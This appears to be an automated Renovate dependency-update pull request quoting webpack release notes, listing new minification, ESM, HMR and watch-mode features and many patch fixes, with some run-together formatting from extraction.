util.makeSerializabletake several requests, current one first. (by @alexander-akait in #22340)Emit the source map
scopesfield, so a debugger resolves imported ESM bindings by name. (by @alexander-akait in #21999)Add
library.entryExports: "all"to expose the exports of every entry module. (by @alexander-akait in #22235)Recognize a required
constbinding assigned toexportsas a re-export. (by @hai-x in #22276)Accept glob patterns in more path, module and file filter options. (by @hai-x in #22422)
Bundle a run of inline
<script>tags into one chunk the page can inline. (by @alexander-akait in #22188)Add
module.parser.javascript.topLevelThisfor classic-scriptthissemantics. (by @alexander-akait in #22193)Add
module.parser.html.chunkNameand awebpackChunkNamecomment for tags. (by @alexander-akait in #22200)Add
include/excludeversion and request filters to shared modules. (by @alexander-akait in #22297)Keep module side-effect information in ESM output as PURE annotations. (by @alexander-akait in #21789)
Add
optimization.splitChunks.dedupDepthto discover chunk intersections. (by @alexander-akait in #22240)Add
optimization.minimizeOptions.json, on by default withfutureDefaults. (by @alexander-akait in #22286)Add
SSRManifestPluginand fix server-rendered CSS collection and adoption. (by @alexander-akait in #21913)Add an
ignorehook tooutput.copyand keep unfollowedfromsymlinks. (by @alexander-akait in #22216)Add
optimization.minimize.css.convertApproximateColors. (by @alexander-akait in #22157)Add XML parsing and SVG/XML minification with data URLs and attribute sorting. (by @alexander-akait in #22269)
Extract CSS/HTML license comments like JS and safely shorten CSS gradients. (by @alexander-akait in #22408)
Resolve an async
DefinePlugin.runtimeValueover an asyncbeforeParsehook. (by @alexander-akait in #22210)Add CSS
customMedia/customSelectorsminimize options; resolve chained names. (by @alexander-akait in #22360)Rename the
Harmony*names toESM*and deprecate the old spellings. (by @hai-x in #22283)Reduce
css.syntax/html.syntaxtoparser,printer,SourceProcessorwith one node path. (by @alexander-akait in #22233)Add a JavaScript
SyntaxTreeread like the CSS one, andtoEstreeObject. (by @alexander-akait in #22608)Fix minified code that threw, and add
pure_conversionsandpure_heritage. (by @alexander-akait in #22473)Shorten more CSS values and selectors, fold longhands, order declarations and gather layer blocks. (by @alexander-akait in #22442)
Add
optimization.minimize.css.charset;falsedrops@charsetfor UTF-8 CSS. (by @alexander-akait in #22632)Patch Changes
Join rules a gathered
@layerleaves adjacent, and an at-rule with a later one (by @alexander-akait in #22204)stating the same condition; read what a condition declares.
Read escaped CSS names and functions as spelled, and minify them unescaped. (by @alexander-akait in #22262)
Minify JavaScript, CSS and HTML assets whose names carry a
#fragment. (by @alexander-akait in #22277)Require
minimizer-webpack-plugin5.12, so inline scripts in HTML minify again. (by @alexander-akait in #22296)Minify the attributes of an HTML tag without rewriting the template in it. (by @alexander-akait in #22166)
Order joined at-rule selector lists and gather a repeated large
@layerblock. (by @alexander-akait in #22224)Preserve case-sensitive template identifiers when minifying HTML tag attributes. (by @bjohansebas in #22177)
Match Acorn's strict directives, Unicode identifiers and expression validation. (by @bjohansebas in #22185)
Skip concatenating modules when
optimization.providedExportsis disabled. (by @hai-x in #22410)Join rules a nesting lowering or duplicate drop left for a second pass. (by @aryanraj45 in #22268)
Write U+00A0 in a minified HTML attribute as the character, not
. (by @alexander-akait in #22208)Escape a foreign
<script>or<style>body, which is character data. (by @alexander-akait in #22233)Name the runtime module whose generation fails while hashing. (by @alexander-akait in #22203)
Rebuild a module in watch when its missing unused dependencies swap. (by @alexander-akait in #22693)
Rebuild in watch mode when a file is deleted while a build is running. (by @alexander-akait in #22650)
Take out the declaration a lowered shorthand writes over, which its source spelling made look like a fallback. (by @aryanraj45 in #22270)
Read a foreign
<script>or<style>body as character data, not as raw text. (by @alexander-akait in #22258)Keep an inline
<style>body as written when rebuilding a page webpack emitted. (by @alexander-akait in #22265)Fix minified HTML for
stylespellings, CSS quotes,<noscript>and a BOM. (by @alexander-akait in #22370)Record a build dependency required through a spread on Bun. (by @alexander-akait in #22230)
Write a nested selector opening on a combinator against its parent the way the printer writes one. (by @aryanraj45 in #22271)
Fix missing async stylesheets with a shared runtime. (by @bjohansebas in #22659)
Support deferred imports introduced by hot updates. (by @bjohansebas in #22668)
Fix trailing commas in
require.resolve()andrequire.resolveWeak()calls. (by @bjohansebas in #22658)Keep regular expressions, functions and plugins distinct in resolver caches. (by @bjohansebas in #22667)
Order the list a lowered nested selector lands in on what is written, not on what was. (by @aryanraj45 in #22287)
Hoist a vendor-prefixed nested rule for a target that reads no nesting. (by @aryanraj45 in #22308)
Name a hoisted nested rule in the dark-scheme copy it writes. (by @alexander-akait in #22318)
Minify data: URL payloads in HTML attributes and
new URL, and web manifests. (by @alexander-akait in #22300)fold a fallback's colors over the author's arguments, and print with (by @aryanraj45 in #22314)
recurseBlocks: falserather than throwingRead a regular expression repeating a capture group name in linear time. (by @alexander-akait in #22187)
Make lazy barrels defer import declarations and keep no deferral across compilations. (by @hai-x in #22359)
Invalidate unaffected caches when connection activity or async status changes. (by @bjohansebas in #22431)
Order concatenated re-exports deterministically when their source order ties. (by @alexander-akait in #22697)
Regenerate a module's exports when a require() cycle forms or breaks around it. (by @aryanraj45 in #22644)
Recompute re-exports, code and warnings when a module goes missing or returns. (by @bjohansebas in #22432)
Preserve loader resolution dependencies across cached rebuilds. (by @bjohansebas in #22430)
Read unwatched changes afresh and wait for restarted watch compilers to finish. (by @alexander-akait in #22646)
Parse loader output for
.wasmas JavaScript when async wasm is auto-enabled. (by @alexander-akait in #22556)Remove modules an async chunk inherits from a named parent chunk grown later. (by @hai-x in #22555)
Fix JavaScript minifier crashes, altered behavior, lost comments, unparsable output and null source map sources, including parameter aliases, ESTree trees and preserved names, and stop it writing into the caller's parse options. (by @alexander-akait in #22352)
Preserve the source phase of dynamic WebAssembly import contexts. (by @bjohansebas in #22604)
Await every async entry before resolving an ESM library import. (by @bjohansebas in #22617)
Keep unknown
import.metaproperties per module, alike for aliases and direct use. (by @bjohansebas in #22618)Return WebAssembly modules directly from eager and weak source imports. (by @bjohansebas in #22606)
Handle missing ESM hot update manifests in Node.js without failing HMR checks. (by @bjohansebas in #22613)
Speed up JavaScript parsing: comment lookup, the tokenizer and the grammar. (by @bjohansebas in #22179)
Name a core module external by its key whichever spelling the code uses. (by @alexander-akait in #22565)
Prefix and drop 2009 flexbox names, keeping them where a box lays out by them. (by @alexander-akait in #22320)
Keep
initialwhere Gecko or WebKit reads the property's keyword apart. (by @aryanraj45 in #22176)Fold
calc()as lightningcss does, keeping it where a bare value is refused. (by @aryanraj45 in #22205)Keep a
color-mix()whose hue rests on a gray's conversion residue. (by @alexander-akait in #22198)Keep a shorthand's initial keyword where it parts two keywords of another slot. (by @dependabot in #22518)
Group
lib/andlib/dependencies/sources into directories. (by @alexander-akait in #22118)Treat a browserslist target given at a bare major version (e.g.
safari 10) as<major>.0when a feature's first supported version is a[major, minor]pair, so it is no longer reported as unsupported. (by @Eshiv-Pandey in #22280)Keep the last HMR update with
output.clean; stop rechecking removed files. (by @alexander-akait in #22339)Read and print a CSS backslash as the spec does, and a NUL as U+FFFD. (by @alexander-akait in #22201)
Make minified CSS and HTML stable on a second pass, even for truncated input. (by @alexander-akait in #22290)
Minify a merged
<style>run as one sheet, closing each where its input ended. (by @alexander-akait in #22302)Minify JavaScript with webpack's printer under
futureDefaults,terserotherwise. (by @alexander-akait in #22217)Preserve
wrappedContextRegExpflags when rebuilding context request matchers. (by @Eshiv-Pandey in #22303)Minify CSS
@supports,@importand@custom-mediaconditions, and exponent numbers. (by @alexander-akait in #22347)Fold unitless
hsl()/hwb()channels, and only where the separators are valid. (by @alexander-akait in #22242)Split
@valueimports on thefromkeyword, not a substring in the path. (by @Eshiv-Pandey in #22306)Destructure a dotted
DefinePluginkey whose value is falsy or a runtimeValue. (by @alexander-akait in #22215)Make
Stats.hasErrors()read errors through theprocessErrorshook (viagetErrors()), matchinghasWarnings(), so a plugin that filters errors out of the hook is no longer contradicted byhasErrors(). (by @Eshiv-Pandey in #22281)Allow wrapping an external concatenated module, now asked of the module itself, and re-exporting a JSON or asset
defaultas a namespace object. (by @hai-x in #22226)Match
urlHintsrules written withand,or,notandglobconditions; profile hook map taps, such as resolver and parser hooks, inProfilingPlugin; reportimport.metaoption errors insiderequire.ensurecallbacks, not crash; and replaceany,objectandFunctionwith precise types in the type definitions. (by @alexander-akait in #22681)Reduce CSS and HTML build time and memory allocation. (by @alexander-akait in #22135)
Reuse free names instead of re-parsing modules for the entry IIFE rename. (by @hai-x in #22206)
Release each module's ast once scope-analysed, and encode each export path once. (by @alexander-akait in #22241)
Export a module library entry's default expression as its own binding, and keep (by @hai-x in #22227)
the export helpers where the entry is not inlined.
Give a wrapped concatenated body the same function header as a module factory. (by @hai-x in #22254)
Skip reading every asset when no content hash is named. (by @alexander-akait in #22256)
Cut graph, cached set, lazy barrel and ESM import memory and allocations. (by @alexander-akait in #22289)
Stop a module source from being held as both a string and a buffer. (by @alexander-akait in #22294)
Read the browserslist data and options schema only when a build needs them. (by @alexander-akait in #22324)
Release the eval devtool's cached module sources after wrapping them. (by @alexander-akait in #22358)
Release the rendered module sources after emitting the chunks. (by @alexander-akait in #22365)
Cut the peak memory and time of minifying through webpack's printer. (by @alexander-akait in #22368)
Shrink minified JS: unwrap IIFEs, fold calls, drop dead code, split arrays. (by @alexander-akait in #22393)
Cut JavaScript minifier time and memory; keep to
Configuration
📅 Schedule: (in timezone America/New_York)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
This PR was generated by Mend Renovate. View the repository job log.